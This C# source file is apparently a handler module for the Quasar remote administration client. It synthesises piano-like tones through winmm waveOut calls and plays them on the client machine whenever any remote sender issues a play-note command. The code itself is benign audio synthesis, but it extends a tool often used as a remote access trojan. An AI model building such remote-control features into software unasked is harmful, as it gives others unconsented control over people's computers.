using Quasar.Common.Messages; using Quasar.Common.Networking; using System; using System.Runtime.InteropServices; using System.Threading; namespace Quasar.Client.Messages { public class PianoHandler : IMessageProcessor { public bool CanExecute(IMessage message) => message is DoPlayNote; public bool CanExecuteFrom(ISender sender) => true; public void Execute(ISender sender, IMessage message) { var note = (DoPlayNote)message; new Thread(() => PlayNote(note.Frequency, note.DurationMs)) { IsBackground = true }.Start(); } // ── waveOut P/Invoke ───────────────────────────────────────────────── [StructLayout(LayoutKind.Sequential)] private struct WAVEFORMATEX { public ushort wFormatTag, nChannels; public uint nSamplesPerSec, nAvgBytesPerSec; public ushort nBlockAlign, wBitsPerSample, cbSize; } [StructLayout(LayoutKind.Sequential)] private struct WAVEHDR { public IntPtr lpData; public uint dwBufferLength, dwBytesRecorded; public IntPtr dwUser; public uint dwFlags, dwLoops; public IntPtr lpNext, reserved; } [DllImport("winmm.dll")] static extern uint waveOutOpen(out IntPtr h, uint dev, ref WAVEFORMATEX fmt, IntPtr cb, IntPtr inst, uint flags); [DllImport("winmm.dll")] static extern uint waveOutPrepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz); [DllImport("winmm.dll")] static extern uint waveOutWrite(IntPtr h, ref WAVEHDR hdr, uint sz); [DllImport("winmm.dll")] static extern uint waveOutUnprepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz); [DllImport("winmm.dll")] static extern uint waveOutClose(IntPtr h); private const uint WAVE_MAPPER = 0xFFFFFFFF; private const int SAMPLE_RATE = 44100; private static void PlayNote(int frequency, int durationMs) { try { int numSamples = SAMPLE_RATE * durationMs / 1000; byte[] buf = new byte[numSamples * 2]; // 16-bit mono PCM int attack = Math.Min(200, numSamples / 8); int release = Math.Min(8000, numSamples * 2 / 3); for (int i = 0; i < numSamples; i++) { double t = (double)i / SAMPLE_RATE; // Natural piano-like amplitude envelope double env = 1.0; if (i < attack) env = (double)i / attack; else if (i > numSamples - release) env = (double)(numSamples - i) / release; // Fundamental + harmonics with exponential decay (makes it sound like a struck string) double decay = Math.Exp(-3.5 * t); double wave = env * ( 0.60 * Math.Sin(2 * Math.PI * frequency * t) * (0.35 + 0.65 * decay) + 0.22 * Math.Sin(2 * Math.PI * frequency * 2.0 * t) * decay + 0.10 * Math.Sin(2 * Math.PI * frequency * 3.0 * t) * decay + 0.05 * Math.Sin(2 * Math.PI * frequency * 4.0 * t) * decay + 0.03 * Math.Sin(2 * Math.PI * frequency * 5.0 * t) * decay ); short pcm = (short)(wave * 26000); buf[i * 2] = (byte)(pcm & 0xFF); buf[i * 2 + 1] = (byte)((pcm >> 8) & 0xFF); } var fmt = new WAVEFORMATEX { wFormatTag = 1, // PCM nChannels = 1, nSamplesPerSec = SAMPLE_RATE, wBitsPerSample = 16, nBlockAlign = 2, nAvgBytesPerSec = SAMPLE_RATE * 2 }; IntPtr hWave; if (waveOutOpen(out hWave, WAVE_MAPPER, ref fmt, IntPtr.Zero, IntPtr.Zero, 0) != 0) return; GCHandle pin = GCHandle.Alloc(buf, GCHandleType.Pinned); try { uint hdrSz = (uint)Marshal.SizeOf(typeof(WAVEHDR)); var hdr = new WAVEHDR { lpData = pin.AddrOfPinnedObject(), dwBufferLength = (uint)buf.Length }; waveOutPrepareHeader(hWave, ref hdr, hdrSz); waveOutWrite(hWave, ref hdr, hdrSz); Thread.Sleep(durationMs + 100); // wait for playback to finish waveOutUnprepareHeader(hWave, ref hdr, hdrSz); } finally { pin.Free(); waveOutClose(hWave); } } catch { } } } }